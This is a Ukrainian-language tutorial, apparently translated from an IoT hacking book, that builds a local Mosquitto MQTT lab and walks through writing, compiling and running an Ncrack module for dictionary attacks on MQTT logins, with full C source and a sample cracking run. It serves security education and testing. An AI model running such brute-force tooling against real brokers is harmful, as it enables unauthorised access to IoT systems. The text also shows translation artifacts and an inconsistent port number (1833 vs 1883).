Одна з головних проблем MQTT полягає в тому, що аутентифікація не є обов’язковою, і навіть якщо вона використовується, то не шифрується за замовчуванням. Коли облікові дані передаються у вигляді відкритого тексту, зловмисники можуть їх викрасти. З рис. Як показано на малюнку 4.9, можна побачити, що пакет CONNECT, відправлений клієнтом MQTT для аутентифікації брокера,  Зберігає ім’я користувача та пароль у вигляді простого тексту.

Оскільки MQTT має просту структуру, і брокери зазвичай не обмежують кількість спроб аутентифікації для кожного клієнта, це ідеальний мережевий протокол IoT для демонстрації злому аутентифікації. У цьому розділі ми створимо модуль MQTT для Ncrack, інструмент для злому мережевої аутентифікації Nmap.

Налаштуйте тестове середовище

По-перше, нам потрібно вибрати типового брокера MQTT і налаштувати тестове середовище. Ми будемо використовувати кросплатформне програмне забезпечення Eclipse Mosquitto з відкритим вихідним кодом (https://mosquitto.org/download/). Ви можете безпосередньо встановити сервер і клієнт Mosquitto на Kali Linux, виконавши наступну команду від імені адміністратора (root):

root@kali:~# apt-get install mosquitto mosquitto-clients

Після встановлення брокер починає прослуховування порту TCP 1833 на всіх мережевих інтерфейсах, включаючи localhost. При необхідності ви також можете запустити його вручну, ввівши команду:

root@kali:~# /etc/init.d/mosquitto start

Щоб перевірити, чи це спрацює, скористайтеся mosquito_sub, щоб  підписатися на тему:

root@kali:~# mosquitto_sub -t 'test/topic' –v

Потім, в іншому термінальному сеансі, опублікуйте тестове повідомлення, ввівши команду:

root@kali:~# mosquitto_pub -t 'test/topic' -m 'test message'

На терміналі абонента (тому, з якого ви запустили  mosquitto_sub) має з’явитися тестове повідомлення в категорії тест/тема.

Після перевірки роботи нашого середовища Mosquitto MQTT і відключення в попередніх термінальних сесіях, ми налаштуємо обов’язкову аутентифікацію. Для початку створимо файл паролів для тестового користувача:

root@kali:~# mosquitto_passwd -c /etc/mosquitto/password test
Password: test123
Reenter password: test123

Потім файл конфігурації з внутрішнім ім’ям pass.conf і каталог з назвою /etc/mosquitto/conf.d/ з таким вмістом:

allow_anonymous false
password_file /etc/mosquitto/password

Нарешті, давайте перезапустимо брокера Mosquitto, щоб зміни вступили в силу:

root@kali:~# /etc/init.d/mosquitto restart

Тепер ми повинні налаштувати обов’язкову аутентифікацію для нашого брокера. При спробі опублікувати або підписатися без введення дійсного логіна і пароля має з’явитися повідомлення про помилку підключення:

Connection error: Connection Refused: not authorised
(Сбой соединения: Соединение отклонено: не авторизован)

Брокери MQTT надсилають  пакет CONNACK у  відповідь на пакет CONNECT. Ви повинні побачити код 0x00 у повернутому заголовку, якщо облікові дані вважаються дійсними та підключення прийнято. Якщо облікові дані неправильні, код 0x05 буде повернуто. З рис. На малюнку 4.10 показано, як виглядає повідомлення з кодом 0x05, зафіксованим Wireshark.

Потім ми спробуємо підключитися до брокера, використовуючи правильні облікові дані, зберігаючи при цьому мережевий трафік. Щоб легко побачити ці пакети, я запускаю Wireshark і починаю захоплювати трафік на TCP-порту 1833. Для верифікації абонента введіть наступну команду:

root@kali:~# mosquitto_sub -t 'test/topic' -v -u test -P test123

Аналогічно, щоб перевірити видавця, виконайте наступну команду:

root@kali:~# mosquitto_pub -t 'test/topic' -m 'test' -u test -P test123

На рис. 4.11 видно, що брокер тепер повертає пакет CONNACK із кодом 0x00

Написання модуля MQTT Authentication-Cracking в Ncrack

У цьому розділі ми розширимо Ncrack для підтримки MQTT, що дозволить вам зламати облікові дані цього протоколу. Ncrack (https://nmap. org/ncrack/) — це високошвидкісний мережевий інструмент для злому аутентифікації з модульною архітектурою. Він підтримує безліч мережевих протоколів (для версії 0.7 це SSH, RDP, FTP, Telnet, HTTP і HTTPS, WordPress, POP3 і POP3S, IMAP, CVS, SMB, VNC, SIP, Redis, PostgreSQL, MQTT, MySQL, MSSQL, MongoDB, Cassandra, WinRM, OWA і DICOM) і є частиною набору інструментів безпеки Nmap. Його модулі виконують атаки за словником на автентифікацію протоколу, і він поставляється з різними списками імен користувачів і паролів.

Остання рекомендована версія Ncrack знаходиться на GitHub в https://github.com/nmap/ncrack/,  хоча існують попередньо скомпільовані пакети для таких дистрибутивів, як Kali Linux. Остання версія вже включає модуль MQTT, тому, якщо ви хочете відтворити наступні кроки самостійно, знайдіть останню версію на git безпосередньо перед додаванням модуля. Для цього скористайтеся наступними командами:

root@kali:~# git clone https://github.com/nmap/ncrack.git
root@kali:~# cd ncrack
root@kali:~/ncrack# git checkout 73c2a165394ca8a0d0d6eb7d30aaa862f22faf63

Короткий вступ до архітектури Ncrack

Як і Nmap, Ncrack написаний на C/C++ і використовує бібліотеку Nmap Nsock для подієво-керованої обробки асинхронних сокетів. Це означає, що замість того, щоб використовувати кілька потоків або процесів для досягнення паралелізму, Ncrack безперервно опитує дескриптори сокетів, зареєстровані кожним викликаним модулем. Щоразу, коли відбувається нова мережева подія, така як читання, запис або тайм-аут, вона переходить до попередньо зареєстрованого обробника зворотного виклику,  який виконує певну дію, пов’язану з цією подією. Внутрішня робота цього механізму виходить за рамки нашого обговорення. Якщо ви хочете глибше зрозуміти архітектуру Ncrack, ознайомтеся з офіційним посібником розробника (https://nmap.org/ncrack/devguide.html). Ми обмежимося поясненням того, де парадигма подієвого сокета вписується в розробку модуля MQTT.

Компіляція Ncrack

Для початку переконайтеся, що у вашому тестовому середовищі є робоча скомпільована версія Ncrack. Якщо ви використовуєте Kali Linux, переконайтеся, що у вас є всі доступні інструменти збірки та залежності, виконавши команду:

root@kali:~# sudo apt install build-essential autoconf g++ git libssl-dev

Потім клонуйте останню версію Ncrack з GitHub, ввівши команду:

root@kali:~# git clone https://github.com/nmap/ncrack.git

Для компіляції просто введіть наступний рядок у новостворену директорію ncrack:

root@kali:~/ncrack# ./configure && make

Тепер у вашому локальному каталозі повинен бути робочий виконуваний файл Ncrack. Щоб перевірити це, спробуйте запустити Ncrack без аргументів:

root@kali:~/ncrack# ./ncrack

Має з’явитися меню «Довідка».

Ініціалізація модуля

Вам потрібно виконувати деякі стандартні кроки щоразу, коли ви створюєте новий модуль у Ncrack. По-перше, відредагуйте  файл ncrack-services, щоб включити новий протокол і порт за замовчуванням. Оскільки MQTT використовує TCP-порт 1833, додаємо наступний рядок (ви можете зробити це в будь-якому місці файлу):

mqtt 1883/tcp

По-друге, включіть посилання на основну функцію вашого модуля (наприклад, ncrack_mqtt у  нашому випадку)  у функцію call_module  у  файлі ncrack.cc. Усі основні функції модуля мають ncrack_protocol іменування, яке замінює  параметр протоколу  на фактичне ім’я протоколу. Додайте наступні два рядки до основного регістру else-if:

else if (!strcmp(name, "mqtt"))
 ncrack_mqtt(nsp, con);

По-третє, ми створюємо основний файл для нашого нового модуля в каталозі модуля та називаємо  його ncrack_mqtt.cc. Файл modules.h повинен мати визначення основної функції модуля,  тому ми його додаємо. Всі функції головного модуля мають однакові аргументи (nsock_pool, Connection *):

void ncrack_mqtt(nsock_pool nsp, Connection *con);

По-четверте, ми редагуємо configure.ac в  головному каталозі Ncrack, щоб включити нові  файли  модулів ncrack_mqtt.cc і ncrack_mqtt.o в змінні MODULES_SRCS і MODULES_OBJS відповідно:

MODULES_SRCS="$MODULES_SRCS ncrack_ftp.cc ncrack_telnet.cc ncrack_http.cc \
ncrack_pop3.cc ncrack_vnc.cc ncrack_redis.cc ncrack_owa.cc \
ncrack_imap.cc ncrack_cassandra.cc ncrack_mssql.cc ncrack_cvs.cc \
ncrack_wordpress.cc ncrack_joomla.cc ncrack_dicom.cc ncrack_mqtt.cc"
MODULES_OBJS="$MODULES_OBJS ncrack_ftp.o ncrack_telnet.o ncrack_http.o \
ncrack_pop3.o ncrack_vnc.o ncrack_redis.o ncrack_owa.o \
ncrack_imap.o ncrack_cassandra.o ncrack_mssql.o ncrack_cvs.o \
ncrack_wordpress.o ncrack_joomla.o ncrack_dicom.o ncrack_mqtt.o"

Зверніть увагу, що після внесення будь-яких змін  до configure.ac нам потрібно запустити інструмент autoconf всередині головного каталогу, щоб створити новий сценарій конфігурації, який буде використовуватися при компіляції:

root@kali:~/ncrack# autoconf

Основний код

Тепер давайте розробимо  код модуля MQTT у файл ncrack_mqtt.cc. Цей модуль виконає словникову атаку на автентифікацію сервера MQTT. Лістинг 4.1 показує першу частину нашого коду, яка включає заголовки та оголошення функцій.

Лістинг коду 4.1. Приєднання заголовних файлів та оголошень функцій

#include "ncrack.h"
#include "nsock.h"
#include "Service.h"
#include "modules.h"
#define MQTT_TIMEOUT 20000 
extern void ncrack_read_handler(nsock_pool nsp, nsock_event nse, void *mydata); 
extern void ncrack_write_handler(nsock_pool nsp, nsock_event nse, void *mydata);
extern void ncrack_module_end(nsock_pool nsp, void *mydata);
static int mqtt_loop_read(nsock_pool nsp, Connection *con); 
enum states { MQTT_INIT, MQTT_FINI };

Файл починається з включення локального заголовка, який є стандартним для кожного модуля. Потім, у MQTT_TIMEOUT, ми  визначаємо  як довго ми будемо чекати, поки отримаємо відповідь від брокера. Ми будемо використовувати це значення пізніше в коді. Далі оголошуємо три важливі обробники зворотного виклику: ncrack_read_handler та ncrack_write_ обробник для  читання та запису даних у мережу та  ncrack_module_end, який потрібно викликати щоразу, коли ми завершуємо весь крок аутентифікації. Ці три функції визначені в ncrack.cc, і їх семантика тут не важлива.

Функція mqtt_loop_read  є допоміжною функцією з локальною областю видимості (це означає, що вона видима лише у файлі модуля через статичний модифікатор), яка аналізує вхідні дані MQTT. Нарешті, у нас буде два стани в нашому  модулі. Стани в Ncrack відносяться до конкретних етапів процесу автентифікації для конкретного протоколу, який ми зламуємо. Кожен стан виконує мікродію,  який майже завжди передбачає реєстрацію певної події мережі NSOCK. Наприклад, в стані MQTT_INIT ми  відправляємо брокеру наш перший  пакет MQTT CONNECT. Потім, в стані MQTT_FINI, ми отримуємо  від нього пакет CONNACK. Обидва стани передбачають запис або зчитування даних в мережу. Друга частина файлу визначає дві структури, які допоможуть нам керувати  пакунками CONNECT та CONNACK. У списку 4.2 показано код першого.

Лістинг коду 4.2. Структура управління пакетом CONNECT

struct connect_cmd {
 uint8_t message_type; /* 1 для пакета CONNECT */
 uint8_t msg_len; /* длина оставшегося пакета */
 uint16_t prot_name_len; /* должно быть 4 для "MQTT" */
 u_char protocol[4]; /* здесь всегда "MQTT" */
 uint8_t version; /* 4 для MQTT версии 3.1.1 */
 uint8_t flags; /* 0xc2 для следующих флагов: username, password, clean session */
 uint16_t keep_alive; /* 60 секунд */
 uint16_t client_id_len; /* должно быть 6 для идентификатора "Ncrack" */
Оценка сети  113
 u_char client_id[6]; /* соответствует Ncrack */
 uint16_t username_len; /* длина строки имени пользователя */
 /* остаток пакета, динамически добавляемый из буфера:
 * username (dynamic length),
 * password_length (uint16_t)
 * password (dynamic length)
 */
 connect_cmd() { /* конструктор – инициализация указанными значениями */
 message_type = 0x10;
 prot_name_len = htons(4);
 memcpy(protocol, "MQTT", 4);
 version = 0x04;
 flags = 0xc2;
 keep_alive = htons(60);
 client_id_len = htons(6);
 memcpy(client_id, "Ncrack", 6);
 }
} __attribute__((__packed__)) connect_cmd;

Ми визначаємо структуру C connect_cmd містити очікувані поля пакета MQTT CONNECT  як його члени. Оскільки початкова частина цього пакетного типу складається з фіксованого заголовка, легко статично визначити значення цих полів.

Пакет CONNECT  – це пакет управління MQTT, який має:

  • фіксований заголовок, що складається з типу пакета та довжини полів;

  • змінний заголовок, що складається з імені протоколу з префіксом Protocol Name Length (довжина імені протоколу), Protocol Level (рівень протоколу), Connect Flags (прапори підключення) та Keep Alive (підтримка активної сполуки);

  • корисне навантаження з одним або декількома полями з префіксом довжини. Наявність цих полів визначається прапорами підключення – у нашому випадку ідентифікатором клієнта, ім’ям користувача та паролем.

Щоб визначити точну структуру пакета MQTT CONNECT, зверніться до офіційної специфікації протоколу за адресою https://docs. oasis-open.org/ mqtt/mqtt/v5.0/os/mqtt-v5.0-os.html#_Toc3901033. Для зручності можна скористатися створеною нами таблицею. 4.2. Також рекомендуємо шукати таку ж структуру пакетів у дампі трафіку Wireshark (наприклад, рис. 4.9). Як правило, у вас є кілька способів зіставити пакетні поля з полями структури C; Наш шлях – один з багатьох.

Message_type – це чотирибітове поле, яке визначає тип пакета. Значення 1 визначає пакет CONNECT. Зверніть увагу, що ми виділяємо вісім бітів (uint8_t) для цього поля, щоб покрити чотири найменш значущі біти, зарезервовані для цього типу пакетів (всі 0). Msg_len — кількість байтів, що  залишилися в поточному пакеті, не враховуючи байтів поля length. Він відповідає полю length пакета Length.

У заголовку змінної prot_name_len і протокол  відповідають  полям Protocol Name Length   і Protocol Name. Довжина цього поля завжди має дорівнювати 4, оскільки ім’я протоколу завжди позначається рядком заголовка UTF-8 “MQTT”. Поле версії, яке представляє поле протокольного рівня, має значення 0x04 для MQTT версії 3.1.1, але пізніші стандарти можуть використовувати інші значення.  Параметр flags, представлений у полі Connect Flags, визначає поведінку MQTT-з’єднання та наявність або відсутність полів у наборі корисних даних. Ми ініціалізуємо його значенням 0xC2, щоб встановити три прапорці: ім’я користувача, пароль і чисту сесію. Параметр  keep_alive, який представляє поле  «Підтримання активності», — інтервал часу в секундах, який визначає максимальний проміжок часу, який може пройти між надсиланням послідовних пакетів керування. У нашому випадку це не важливо, але ми будемо використовувати те ж значення, що і додаток Mosquitto.

Нарешті, набір корисних даних пакета починається з client_id_length і client_id. Ідентифікатор клієнта завжди має бути першим полем у наборі корисних даних пакета CONNECT. Він повинен бути унікальним для кожного клієнта, тому ми будемо використовувати Ncrack для нашого модуля. Решта полів:  Довжина імені користувача  (username_len), Ім’я користувача, Довжина пароля  та  Пароль. Оскільки ми очікуємо використовувати різні імена користувачів і паролі для кожного з’єднання (оскільки ми виконуємо атаку за словником), пізніше в коді ми динамічно виділяємо місце для останніх трьох параметрів.

Потім ми використовуємо конструктор  структури ,  щоб ініціалізувати ці поля значеннями, які, як ми знаємо, залишаться незмінними. Наш сервер надішле  пакет CONNACK  у відповідь на пакет  CONNECT  від клієнта. Лістинг 4.3 показує структуру пакета CONNACK.

Лістинг кодів 4.3. Фреймворк C для керування пакунками CONNACK

struct ack {
 uint8_t message_type;
 uint8_t msg_len;
 uint8_t flags;
 uint8_t ret_code;
} __attribute__((__packed__)) ack;

Message_type і msg_len складають стандартний фіксований заголовок пакета управління MQTT, аналогічний заголовку пакета CONNECT. MQTT встановлює  значення message_type для пакета CONNACK  рівним 2. Для цього типу пакетів прапорцями зазвичай є 0. Ви можете побачити це також на рис.4.10 і 4.11.  Ret_code є  найважливішим полем, оскільки залежно від його значення ми можемо визначити, чи були прийняті наші облікові дані. Код повернення 0x00 означає прийняте з’єднання, а код повернення 0x05 вказує на те, що з’єднання не авторизоване (як ми бачили на рисунку 4.10), оскільки облікові дані або не були надані, або неправильні. Хоча є й інші значення, що повертаються,  Для спрощення коду модуля ми припустимо, що будь-яке значення, відмінне від 0x00, означає, що нам слід спробувати інші облікові дані.

 Упакований атрибут є  директивою компілятору C не додавати ніяких відступів між полями (що зазвичай робиться автоматично для оптимізації доступу до пам’яті), щоб все залишалося цілим. Те ж саме ми зробили  і для connect_cmd структури. Це хороша практика для структур, що використовуються в мережі. Далі, визначте функцію з ім’ям mqtt_loop_read для обробки пакунка CONNACK, як показано у лістингу 4.4.

Лістинг коду 4.4. Визначте функцію mqtt_loop_read, яка відповідає за обробку пакетів CONNACK, і перевірте код повернення

static int
mqtt_loop_read(nsock_pool nsp, Connection *con)
{
 struct ack *p; 
 if (con->inbuf == NULL || con->inbuf->get_len() < 4) {
 nsock_read(nsp, con->niod, ncrack_read_handler, MQTT_TIMEOUT, con);
 return -1;
 }
 p = (struct ack *)((char *)con->inbuf->get_dataptr()); 
 if (p->message_type != 0x20) /* отвергнуть, если это не MQTT ACK */
116  Глава 4
 return -2;
 if (p->ret_code == 0) /* вернуть 0 только если код возврата равен 0 */ 
 return 0;
 return -2;
}

Спочатку ми оголошуємо локальний покажчик p на структуру типу ack. Потім перевіряємо, чи ми отримали які-небудь дані в нашому вхідному буфері (чи містить покажчик con->inbuf значення NULL), або довжина даних менше 4, що становить мінімальний розмір очікуваної відповіді сервера. Якщо будь-яка з цих умов істинно, нам потрібно продовжувати чекати вхідних даних, тому ми плануємо подію читання nsock, яка оброблятиметься нашим стандартним ncrack_read_handler.
Як це відбувається, ми тут не обговорюватимемо, але важливо розуміти асинхронну природу цього методу.

Суть у тому, що ці функції будуть виконувати свою роботу після того, як модуль поверне керування основним механізмом Ncrack, що відбудеться після завершення функції ncrack_mqtt. Щоб знати, де модуль зупинявся для кожного TCP-з’єднання за наступного виклику, Ncrack зберігає поточний стан у змінній con->state. Додаткова інформація також зберігається в інших членах класу Connection, таких як буфери для вхідних (inbuf) та вихідних (outbuf) даних.

Як тільки ми отримаємо повну відповідь CONNACK, ми можемо перебудувати наш локальний покажчик p на буфер, призначений для вхідних мережевих даних. Ми наводимо цей буфер до покажчика struct ack. Простіше кажучи, це означає, що тепер ми можемо використовувати покажчик p, щоб легко переглядати елементи структури. Потім перше, що ми перевіряємо в отриманому пакеті, чи є він пакетом CONNACK; якщо це не так, нам не слід турбуватися про нього подальший аналіз.

Якщо ж це пакет CONNACK, ми перевіряємо, чи дорівнює чи код повернення 0, і в цьому випадку повертаємо 0, щоб повідомити абонента, що викликає, про правильність облікових даних. Інакше сталася помилка або облікові дані були невірними, і ми повертаємо –2. Остання частина нашого коду – це основна функція ncrack_mqtt, яка обробляє всю логіку для автентифікації на сервері MQTT. Він представлений двома лістингами: листинг 4.5 представляє логіку стану MQTT_INIT, а лістинг 4.6 – логіку стану MQTT_FINI.

Лістинг коду 4.5. Код стану MQTT_INIT, який надсилає пакет  CONNECT

void
ncrack_mqtt(nsock_pool nsp, Connection *con)
{
nsock_iod nsi = con->niod; 
 struct connect_cmd cmd;
 uint16_t pass_len;
switch (con->state) 
{
 case MQTT_INIT:
 con->state = MQTT_FINI;
 delete con->inbuf; 
 con->inbuf = NULL;
 if (con->outbuf)
 delete con->outbuf;
 con->outbuf = new Buf();
 /* длина сообщения равна длине структуры плюс длина имени пользователя 
 * и пароля минус 2 первых байта (тип сообщения и длина сообщения) которые
 * не подсчитываются
 */
 cmd.msg_len = sizeof(connect_cmd) + strlen(con->user) + strlen(con->pass) +
 sizeof(pass_len) - 2; 
 cmd.username_len = htons(strlen(con->user));
 pass_len = htons(strlen(con->pass));
 con->outbuf->append(&cmd, sizeof(cmd)); 
 con->outbuf->snprintf(strlen(con->user), "%s", con->user);
 con->outbuf->append(&pass_len, sizeof(pass_len));
 con->outbuf->snprintf(strlen(con->pass), "%s", con->pass);
 nsock_write(nsp, nsi, ncrack_write_handler, MQTT_TIMEOUT, con, 
 (const char *)con->outbuf->get_dataptr(), con->outbuf->get_len());
 break;

Перший блок коду нашої основної функції оголошує три локальні змінні. Nsock використовує змінну nsock_iod кожного разу, коли ми реєструємо мережеве читання та записуємо події через nsock_read та nsock_write відповідно. Структура struct cmd, яку ми визначили у лістингу 4.2, обробляє вхідний пакет CONNECT. Зверніть увагу, що його конструктор автоматично викликається, коли ми оголошуємо його, тому він ініціалізується за замовчуванням, які ми дали кожному полю. Використовуватимемо pass_len для тимчасового зберігання двобайтового значення довжини пароля.

Кожен модуль Ncrack має оператор switch, у якому кожен випадок представляє певний етап аутентифікації фази для конкретного протоколу, який ми зламуємо. У аутентифікації MQTT є лише два стани: ми починаємо з MQTT_INIT, а потім встановлюємо такий стан як MQTT_FINI. Це означає, що, коли ми завершуємо виконання цієї фази і повертаємо управління основному механізму Ncrack, оператор switch продовжиться зі наступного стану MQTT_FINI (див. листинг 4.6), коли модуль знову запускається для цього конкретного TCP-з’єднання. Потім перевіряємо, щоб наші буфери для прийому (con->inbuf) і надсилання (con->outbuf) мережевих даних були порожніми. Далі оновлюємо поле довжини в нашій структурі cmd.

Пам’ятайте, що воно обчислюється як довжина пакета CONNECT, що залишилася, не включаючи поле довжини. Ми повинні враховувати розмір трьох додаткових полів (ім’я користувача, довжина пароля та пароль), які додаємо в кінці нашого пакету, тому що ми не включили їх до структури cmd. Також оновлюємо поле довжини імені користувача з урахуванням фактичного розміру поточного імені користувача. Ncrack автоматично виконує ітерацію за словником, оновлює ім’я користувача і пароль у змінних user та pass класу Connection відповідно.

Ми також обчислюємо довжину пароля та зберігаємо її в pass_len. Потім починаємо створювати наш вихідний пакет CONNECT, спочатку додаючи оновлену структуру cmd в outbuf, а потім динамічно додаючи додаткові три поля. Клас Buffer (inbuf, outbuf) має свої власні зручні функції, такі як append та snprintf, за допомогою яких ви можете легко та поступово додавати відформатовані дані для створення власних корисних навантажень TCP. Крім того, ми плануємо надіслати наш пакет із буфера outbuf у мережу, зареєструвавши подію мережного запису через nsock_write, оброблюваний ncrack_write_handler.

Потім завершуємо switch і ncrack_mqtt (на даний момент) та повертаємо управління виконанням основного механізму, який серед інших завдань буде перебирати всі зареєстровані мережеві події (наприклад, що ми щойно запланували вище з використанням функції ncrack_mqtt) та обробляти їх. Наступний стан MQTT_FINI приймає та аналізує вхідний пакет CONNACK від брокера і перевіряє, чи були надані наші облікові дані правильно. У лістингу 4.6 показаний код, який входить до того ж визначення функції, що і листинг 4.5.

Лістинг коду 4.6. Код стану MQTT_FINI, який отримує вхідний пакет CONNACK, і оцінює, чи правильні надіслані нами ім’я користувача та пароль

case MQTT_FINI:
 if (mqtt_loop_read(nsp, con) == -1) 
 break;
 else if (mqtt_loop_read(nsp, con) == 0) 
 con->auth_success = true;
 con->state = MQTT_INIT; 
 delete con->inbuf;
 con->inbuf = NULL;
 return ncrack_module_end(nsp, con); 
 }
}

Ми починаємо з того, що питаємо mqtt_loop_read, чи отримали ми відповідь сервера. Згадайте з лістингу 4.4, що він поверне -1, якщо ми ще не отримали всі чотири байти вхідного пакета. Якщо ми ще не отримали повну відповідь сервера, mqtt_loop_read зареєструє подію читання, і ми повернемо керування основним механізмом, щоб дочекатись цих даних або зробити інші події, зареєстровані від інших підключень (того ж чи інших модулів, які можуть бути запущені). Якщо mqtt_loop_read повертає 0, це означає, що поточне ім’я користувача та пароль успішно пройшли автентифікацію в сервері, що атакується, і ми повинні оновити змінну з’єднання auth_success, щоб Ncrack помітив поточну пару облікових даних як спрацювала.

Потім оновлюємо внутрішній стан, щоб повернутися до MQTT_ INIT, тому що нам потрібно перебрати інші облікові дані у поточному словнику. На цьому етапі, оскільки ми завершили повну спробу аутентифікації, викликаємо ncrack_module_end, який оновить деякі статистичні змінні (наприклад, кількість спроб аутентифікації на даний момент) для служби. Об’єднання всіх шести списків складає весь файл модуля MQTT ncrack_mqtt.cc.

Актуальний код на GitHub за адресою https:// github.com/nmap/ncrack/blob/accdba084e757aef51dbb11753e9c36ffae122f3/ modules/ncrack_mqtt.cc/ надає повний файл коду, який ми обговорювали. Після завершення коду ми вводимо команду make у кореневому каталозі Ncrack для компіляції нового модуля.

Тестування модуля Ncrack на відповідність MQTT

Давайте протестуємо наш новий модуль на брокері Mosquitto, щоб побачити, як швидко ми зможемо вгадати правильну пару ім’я користувача/пароль. Це можна зробити, запустивши модуль для нашого локального екземпляра Mosquitto:

root@kali:~/ncrack#./ncrack mqtt://127.0.0.1 --user test -v
Starting Ncrack 0.7 ( http://ncrack.org ) at 2019-10-31 01:15 CDT
Discovered credentials on mqtt://127.0.0.1:1883 'test' 'test123'
mqtt://127.0.0.1:1883 finished.
Discovered credentials for mqtt on 127.0.0.1 1883/tcp:
127.0.0.1 1883/tcp mqtt: 'test' 'test123'
Ncrack done: 1 service scanned in 3.00 seconds.
Probes sent: 5000 | timed-out: 0 | prematurely-closed: 0
Ncrack finished.

Ми тестували тільки перевірку імені користувача і  список паролів за замовчуванням (знаходиться в lists/default.pwd), куди я вручну додав  пароль test123  (в кінці файлу). Ncrack успішно зламав службу MQTT за три секунди, спробувавши 5000 комбінацій облікових даних.

Висновок

У цьому розділі ми виконали міграцію VLAN, дослідження мережі та злам автентифікації. По-перше, ми використовували протоколи VLAN і виявляли невідомі сервіси в мережах IoT. Потім вони познайомили вас з MQTT і зламали MQTT аутентифікацію. На даний момент ви знаєте, як обійти VLAN і скористатися можливостями злому паролів Ncrack, а також потужним механізмом виявлення служб Nmap.

Ми використовували матеріали з книги “The Definitive Guide to Attacking the Internet of Things , яку  написали Фотиос Чанцис, Иоаннис Стаис, Паулино Кальдерон, Евангелос Деирменцоглу и Бо Вудс.

Інші статті по темі
Для початківцівОсвіта
Читати далі
Частина 3. Загрози у світі речей інтернету (Методологія тестування безпеки)
В нашій частині ми докладно розберемося з основними загрозами, які можуть трапитися у світі IoT. Від вразливостей в програмному забезпеченні до фізичного доступу до пристроїв.
1187
Для початківцівОсвіта
Читати далі
Частина 6. Злом мережі. (Використання мережі з нульовою конфігурацією)
Використання мережі з нульовою конфігурацією: дізнайтеся, як ефективно налаштувати та захистити вашу мережеву систему без ручних налаштувань. Поглибіть свої знання в мережевих технологіях з нашим керівництвом.
1475
Для початківцівОсвіта
Читати далі
Частина 8. Злом апаратної частини системи. (SPI та I2C)
Ми дослідимо, як ці протоколи можуть бути використані для вилучення даних з мікроконтролерів та периферійних пристроїв, а також для впливу на їхню роботу. Основний акцент буде зроблено на практичних прикладах використання SPI та I2C для розуміння та підвищення безпеки систем IoT.
1322
Для початківцівОсвіта
Читати далі
Частина 11. Злом радіоканалів. (Bluetooth Low Energy)
У цьому розділі ви дізнаєтеся, як працює зв'язок BLE, вивчите поширене апаратне та програмне забезпечення для зв'язку з пристроями BLE, а також дізнаєтеся, як ефективно виявляти та використовувати вразливості безпеки.
1293
Для початківцівОсвіта
Читати далі
Частина 12. Злом радіоканалів. (Радіоканали середнього радіусу дії злом Wi-Fi)
В розділі, присвяченому технології Wi-Fi в контексті пристроїв Інтернету речей (IoT), ми дослідимо основи функціонування Wi-Fi, а також вивчимо деякі з основних атак, які можуть бути спрямовані на бездротові мережі.
1762
Знайшли помилку?
Якщо ви знайшли помилку, зробіть скріншот і надішліть його боту.